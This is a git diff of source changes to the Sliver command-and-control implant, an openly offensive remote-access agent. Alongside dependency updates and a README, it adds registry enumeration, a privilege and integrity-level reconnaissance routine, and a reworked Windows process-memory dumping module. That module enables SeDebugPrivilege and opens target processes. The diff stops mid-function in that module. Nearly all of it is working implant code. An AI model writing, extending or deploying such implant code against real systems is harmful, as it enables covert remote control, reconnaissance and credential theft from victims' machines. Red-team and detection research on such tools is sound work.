github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
@@ -36,6 +38,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
@@ -53,8 +56,6 @@ github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
@@ -85,15 +86,12 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
github.com/desertbit/closer/v3 v3.0.1/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
github.com/desertbit/closer/v3 v3.1.2 h1:a6+2DmwIcNygW04XXWYq+Qp2X9uIk9QbZCP9//qEkb0=
github.com/desertbit/closer/v3 v3.1.2/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2Eb8zuFa2W41t0o5j0=
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
github.com/desertbit/grumble v1.0.8 h1:pD54tsYbtCrHZk/67Hcx2ybQT6TZQ/AV0P8ZGsDC2X4=
github.com/desertbit/grumble v1.0.8/go.mod h1:FIKWbAImZ0OUe/IrJ67+WKh7xqOrNNlDtmJUNkpQJ+s=
github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
@@ -110,7 +108,6 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.m
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
@@ -185,14 +182,12 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
@@ -321,7 +316,6 @@ github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
@@ -551,7 +545,6 @@ golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201101102859-da207088b7d1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -561,7 +554,6 @@ golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+19
View File
@@ -0,0 +1,19 @@
Implant
========
This directory contains the code for Sliver's implant, implant source code is dynamically
rendered at runtime via the `generate` command. The code generation inserts the per-binary
values such as X.509 certificates, etc. and compiles it to produce a binary.
The implant code contains a lot of platform specific code too, which varies the features
that will be supported on different platforms.
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.
### Adding Implant Features
Simply adding new files to this directory will not work (but you can edit existing files).
In order to add new features you'll need to add the code to this directory AND update the
`server/generate/srcfiles.go` which contains a list of files the server should render.
+11 -2
View File
@@ -28,6 +28,7 @@ import (
"io/ioutil"
"os/exec"
"strings"
"time"
// {{if .Config.Debug}}
"log"
@@ -43,7 +44,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
// RPCResponse - Request/response callback
@@ -97,7 +98,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
dir, files, err := getDirList(dirListReq.Path)
// Convert directory listing to protobuf
dirList := &sliverpb.Ls{Path: dir}
timezone, offset := time.Now().Zone()
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
if err == nil {
dirList.Exists = true
} else {
@@ -109,6 +111,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
})
}
+98 -11
View File
@@ -37,8 +37,8 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"golang.org/x/sys/windows"
"google.golang.org/protobuf/proto"
)
var (
@@ -61,18 +61,21 @@ var (
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
@@ -493,3 +496,87 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(createResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
if err != nil {
return
}
subKeys, err := registry.ListSubKeys(listReq.Hostname, listReq.Hive, listReq.Path)
regListResp := &sliverpb.RegistrySubKeyList{
Response: &commonpb.Response{},
}
if err != nil {
regListResp.Response.Err = err.Error()
} else {
regListResp.Subkeys = subKeys
}
data, err = proto.Marshal(regListResp)
resp(data, err)
}
func regValuesListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(data, listReq)
if err != nil {
return
}
regValues, err := registry.ListValues(listReq.Hostname, listReq.Hive, listReq.Path)
regListResp := &sliverpb.RegistryValuesList{
Response: &commonpb.Response{},
}
if err != nil {
regListResp.Response.Err = err.Error()
} else {
regListResp.ValueNames = regValues
}
data, err = proto.Marshal(regListResp)
resp(data, err)
}
func getPrivsHandler(data []byte, resp RPCResponse) {
createReq := &sliverpb.GetPrivsReq{}
err := proto.Unmarshal(data, createReq)
if err != nil {
return
}
privsInfo, integrity, processName, err := priv.GetPrivs()
response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
/*
Translate the PrivilegeInfo structs into
sliverpb.WindowsPrivilegeEntry structs and put them in the data
that will go back to the server / client
*/
for index, entry := range privsInfo {
var currentEntry sliverpb.WindowsPrivilegeEntry
currentEntry.Name = entry.Name
currentEntry.Description = entry.Description
currentEntry.Enabled = entry.Enabled
currentEntry.EnabledByDefault = entry.EnabledByDefault
currentEntry.Removed = entry.Removed
currentEntry.UsedForAccess = entry.UsedForAccess
response_data[index] = &currentEntry
}
// Package up the response
getPrivsResp := &sliverpb.GetPrivs{
PrivInfo: response_data,
ProcessIntegrity: integrity,
ProcessName: processName,
Response: &commonpb.Response{},
}
if err != nil {
getPrivsResp.Response.Err = err.Error()
}
data, err = proto.Marshal(getPrivsResp)
resp(data, err)
}
+1 -1
View File
@@ -29,7 +29,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
var (
+1 -1
View File
@@ -37,7 +37,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
// ------------------------------------------------------------------------------------------
+1 -1
View File
@@ -34,7 +34,7 @@ import (
// {{end}}
// {{end}}
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
var specialHandlers = map[uint32]SpecialHandler{
+1 -1
View File
@@ -34,7 +34,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
const (
+1 -1
View File
@@ -32,7 +32,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/lesnuages/go-winio"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
func StartNamedPipeListener(pipeName string) error {
+1 -1
View File
@@ -29,7 +29,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
const (
+1 -1
View File
@@ -29,7 +29,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
// StartTCPListener - Start a TCP listener
+268 -1
View File
@@ -26,6 +26,8 @@ import (
"log"
// {{end}}
"bytes"
"encoding/binary"
"fmt"
"os/exec"
"runtime"
@@ -40,9 +42,22 @@ import (
)
const (
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
SECURITY_MANDATORY_LOW_RID = 0x00001000
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
SECURITY_MANDATORY_HIGH_RID = 0x00003000
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
)
type PrivilegeInfo struct {
Name string
Description string
Enabled bool
EnabledByDefault bool
Removed bool
UsedForAccess bool
}
var CurrentToken windows.Token
func SePrivEnable(s string) error {
@@ -328,3 +343,255 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
}
return
}
func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
// A place to put the size of the token integrity information
var tokenIntegrityBufferSize uint32
// Determine the integrity of the process
windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
if tokenIntegrityBufferSize < 4 {
// {{if .Config.Debug}}
log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
// {{end}}
return "Unknown", nil
}
tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
err := windows.GetTokenInformation(processToken,
windows.TokenIntegrityLevel,
&tokenIntegrityBuffer[0],
tokenIntegrityBufferSize,
&tokenIntegrityBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (integrity): ", err)
// {{end}}
return "", err
}
/*
When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
We need the last 4 bytes (uint32) from the structure because that contains the attributes. The attributes
tell us what privilege level we are operating at.
*/
var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
return "Untrusted", nil
} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
return "Low", nil
} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
return "Medium", nil
} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
return "High", nil
}
return "Unknown", nil
}
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
/*
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
mkwinsyscall, so we are good to go.
mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
*/
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
nameBuffer := make([]uint16, 256)
nameBufferSize := uint32(len(nameBuffer))
displayNameBuffer := make([]uint16, 256)
displayNameBufferSize := uint32(len(displayNameBuffer))
// A blank string for the system name tells the call to use the local machine
systemName := ""
/*
A language ID that gets returned from LookupPrivilegeDisplayNameW
We do not need it for anything, but we still need to provide it
*/
var langID uint32
err := syscalls.LookupPrivilegeNameW(systemName, &luid, &nameBuffer[0], &nameBufferSize)
if err != nil {
return "", "", err
}
err = syscalls.LookupPrivilegeDisplayNameW(systemName, &nameBuffer[0], &displayNameBuffer[0], &displayNameBufferSize, &langID)
if err != nil {
// We already got the privilege name, so we might as well return that
return syscall.UTF16ToString(nameBuffer), "", err
}
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
}
func GetPrivs() ([]PrivilegeInfo, string, string, error) {
// A place to store the process token
var tokenHandle windows.Token
// Process integrity
var integrity string
// The current process name
var processName string
// A place to put the size of the token information
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
// This error is not fatal. Worst case, we can display the PID from the registered session
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
// {{end}}
}
if processInformation != nil {
processName = processInformation.Executable()
}
}
// Get the process token from the current process
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not open process token: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the size of the token information buffer so we know how large of a buffer to allocate
// This produces an error about a data area passed to the syscall being too small, but
// we do not care about that because we just want to know how big of a buffer to make
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
// Make the buffer and get token information
// Using a bytes Buffer so that we can Read from it later
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
err = windows.GetTokenInformation(tokenHandle,
windows.TokenPrivileges,
&tokenInfoBuffer.Bytes()[0],
uint32(tokenInfoBuffer.Len()),
&tokenInfoBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (privileges): ", err)
// {{end}}
return nil, integrity, processName, err
}
// The first 32 bits is the number of privileges in the structure
var privilegeCount uint32
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the number of privileges from the token information.")
// {{end}}
return nil, integrity, processName, err
}
/*
The remaining bytes contain the privileges themselves
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
*/
privInfo := make([]PrivilegeInfo, int(privilegeCount))
for index := 0; index < int(privilegeCount); index++ {
// Iterate over the privileges and make sense of them
// In case of errors, return what we have so far and the error
// LUIDs consist of a DWORD and a LONG
var luid uint64
// Attributes are up to 32 one bit flags, so a uint32 is good for that
var attributes uint32
var currentPrivInfo PrivilegeInfo
// Read the LUID
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the LUID from the binary stream: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
// Read the attributes
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &attributes)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the attributes from the binary stream: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get privilege info based on the LUID: ", err)
// {{end}}
return privInfo, integrity, processName, err
}
// Figure out the attributes
currentPrivInfo.EnabledByDefault = (attributes & windows.SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0
currentPrivInfo.UsedForAccess = (attributes & windows.SE_PRIVILEGE_USED_FOR_ACCESS) > 0
currentPrivInfo.Enabled = (attributes & windows.SE_PRIVILEGE_ENABLED) > 0
currentPrivInfo.Removed = (attributes & windows.SE_PRIVILEGE_REMOVED) > 0
privInfo[index] = currentPrivInfo
}
// Get the process integrity before we leave
integrity, err = getProcessIntegrityLevel(tokenHandle)
if err != nil {
return privInfo, "Could not determine integrity level", processName, err
}
return privInfo, integrity, processName, nil
}
+229 -30
View File
@@ -20,8 +20,6 @@ package procdump
import (
"fmt"
"io/ioutil"
//{{if .Config.Debug}}
"log"
//{{end}}
@@ -31,39 +29,87 @@ import (
"github.com/bishopfox/sliver/implant/sliver/evasion"
// {{end}}
// {{end}}
"os"
"bytes"
"encoding/binary"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"unsafe"
)
const (
PROCESS_ALL_ACCESS = 0x1F0FFF
ModuleCallback = iota
ThreadCallback
ThreadExCallback
IncludeThreadCallback
IncludeModuleCallback
MemoryCallback
CancelCallback
WriteKernelMinidumpCallback
KernelMinidumpStatusCallback
RemoveMemoryCallback
IncludeVmRegionCallback
IoStartCallback
IoWriteAllCallback
IoFinishCallback
ReadMemoryFailureCallback
SecondaryFlagsCallback
IsProcessSnapshotCallback
VmStartCallback
VmQueryCallback
VmPreReadCallback
VmPostReadCallback
S_FALSE = 1
S_OK = 0
TRUE = 1
FALSE = 0
IncrementSize = 5 * 1024 * 1024
MiniDumpWithFullMemory = 0x00000002
)
var bytesRead uint32 = 0
type WindowsDump struct {
data []byte
}
type outDump struct {
outPtr uintptr
}
func (d *WindowsDump) Data() []byte {
return d.data
}
func dumpProcess(pid int32) (ProcessDump, error) {
var lpTargetHandle windows.Handle
res := &WindowsDump{}
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
}
hProc, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, uint32(pid))
if err != nil {
return res, err
}
if hProc != 0 {
return minidump(uint32(pid), hProc)
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return res, err
}
return res, fmt.Errorf("Could not dump process memory")
